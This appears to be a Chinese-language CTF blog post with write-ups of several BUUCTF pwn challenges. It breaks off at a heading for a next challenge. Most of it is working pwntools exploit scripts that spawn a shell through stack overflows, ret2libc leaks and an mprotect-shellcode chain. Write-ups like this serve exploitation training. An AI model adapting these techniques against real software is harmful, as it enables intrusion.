test_your_nc

下载打开发现进入命令行,直接nc cat flag

rip

64位linux可执行文件
ida发现fun函数中存在system(“/bin/sh”)
64位ret2syscall 关键在gets函数 溢出长度位0xf 溢出到0x401186

1
2
3
4
5
6
7
8
9
from pwn import *

n = process('./pwn1')
sys_addr = 0x401186

payload = 'a'*(0xf)+p64(sys_addr)

n.sendline(payload)
n.interactive()

warmup_csaw_2016

64位ret2syscall
sub_40060D函数中存在调用system函数
gets函数,溢出长度为0x40+8,溢出到0x40060d

1
2
3
4
5
6
from pwn import *
h=process('./warmup_csaw_2016')
sys_addr=0x40060d
payload='a'*(0x40+8)+p64(sys_addr)
h.sendline(payload)
h.interactive()

pwn1_sctf_2016

32位栈溢出

1处溢出点,将s溢出,溢出长度是3c+4=64
2,3处的意思是把i换成you,所以每个I占三个字节64 = 21*3+7
get_flag中有system函数

1
2
3
4
5
from pwn import *
h=process('pwn1_sctf_2016')
payload='I'*21+'a'+p32(0x08048F0D)
h.sendline(payload)
h.interactive()

ciscn_2019_n_1

溢出覆盖变量
通过v1变量覆盖v2的值,v1长度0x2c
11.28125在计算机中表现为0x41348000

1
2
3
4
5
6
from pwn import *
sh = process("./ciscn_2019_n_1")
payload = "a"*(0x2c)+p64(0x41348000)
sleep(1)
sh.sendline(payload)
sh.interactive()

ciscn_2019_c_1

字符串截断加ret2libc
通过puts函数来得到泄露libc,可以通过libc_database_search找到并下载
libc文件:点击下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
h = remote('node3.buuoj.cn',26592)
#h = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
puts_plt = elf.plt['puts']
puts_got= elf.got['puts']
ret_rid = 0x0000000000400c83
main_addr = elf.symbols['main']
ret=0x40099F
success(hex(main_addr))
#泄露puts真实地址
payload = "a"+'\x00'+(0x56)*"b"
payload+= p64(ret_rid)
payload+= p64(puts_got)
payload+= p64(puts_plt)
payload+= p64(main_addr)
h.recvuntil('Input your choice!')
h.sendline('1')
h.recvuntil("Input your Plaintext to be encrypted")
h.sendline(payload)
#发现7f开始接收不足8位补0
puts_addr = u64(h.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(puts_addr))
#基地址
base_addr = puts_addr - libc.sym['puts']
success(hex(base_addr))
#system真实函数地址
system_addr = base_addr + libc.sym['system']
success(hex(system_addr))
#/bin/sh字符串在libc中的地址
binsh_addr = base_addr + libc.search('/bin/sh\x00').next()
success(hex(binsh_addr))
#远程服务器版本问题需要填充ret保证栈平衡
payload = "a"+'\x00'+(0x56)*"b"
payload+= p64(ret)
payload+= p64(ret_rid)
payload+= p64(binsh_addr)
payload+= p64(system_addr)
payload+= p64(main_addr)
h.recvuntil('Input your choice!')
h.sendline('1')
h.recvuntil("Input your Plaintext to be encrypted")
h.sendline(payload)
h.interactive()

babyrop

字符串截断加ret2libc
在sub_804871F函数中截断字符串绕过strncmp函数
在sub_80487D0函数中通过read函数进行溢出
通过puts函数或者write函数进行libc泄露
libc文件:点击下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
from pwn import *
h=process('./pwn')
elf=ELF('./pwn')
libc=ELF('libc6-i386_2.23-0ubuntu11_amd64.so')
#溢出绕过strncmp函数
payload='\x00'+'\xFF'*10
h.sendline(payload)
#找到puts的plt 和 got 地址
main_addr=0x08048825
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#通过put函数来暴漏puts的真实地址,然后返回到main函数
payload='a'*(0xe7+4)
payload+=p32(puts_plt)
payload+=p32(main_addr)
payload+=p32(puts_got)
h.sendline(payload)
h.recvline()
#接收返回的真实地址
puts_addr = u32(h.recv(4))
print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')
#基地址=真实地址-偏移
#通过基地址加偏移来得到真实地址
base_addr=puts_addr-libc.sym['puts']
system_addr=base_addr+libc.sym['system']
binsh_addr=base_addr+libc.search('/bin/sh').next()
#再次绕过strncmp进行溢出 调用
payload='\x00'+'\xFF'*10
h.recvline()
h.sendline(payload)
h.recvuntil("Correct\n")
#构造 payload调用system函数
payload = 'a'*(0xe7+4)
payload+=p32(system_addr) + p32(main_addr) +p32(binsh_addr)

h.sendline(payload)
h.interactive()

ciscn_2019_en_2

与ciscn_2019_c_1一样

get_started_3dsctf_2016

长得像ret2text的ret2shellcode

RELRO:    Partial RELRO

表示我们对got表只有写的权限,没有可执行权限
但这个程序包含一个特殊的函数mprotect()

1
2
3
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值.
参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限(rwx)

大体思路,溢出调用mprotect()函数获得调用权限,再调用gets()或read()函数来传入shellcode获得权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding:utf-8
from pwn import *

r = process('./get_started_3dsctf_2016')
#r = remote('node3.buuoj.cn', port)
elf = ELF('./get_started_3dsctf_2016')

mprotect = elf.sym['mprotect']
gets = elf.sym['gets']
data = 0x080eb000 #考虑到第三个数据段的起始地址为0x080eaf5c,这里直接取近似
pop3ret = 0x80483b8

payload = 'a'*56
payload += p32(mprotect)
payload += p32(pop3ret)
payload += p32(data) #参数start
payload += p32(0x1000) #参数len
payload += p32(7) #参数prot,rwx权限权值分别是1,2,4,和为7
payload += p32(gets) #跳到gets函数,也可以是read函数
payload += p32(data+0x500)#gets的返回地址
payload += p32(data+0x500)#gets的参数地址

r.sendline(payload)
sleep(1)
r.sendline(asm(shellcraft.sh()))#输入shellcode
r.interactive()

[第五空间2019 决赛]PWN5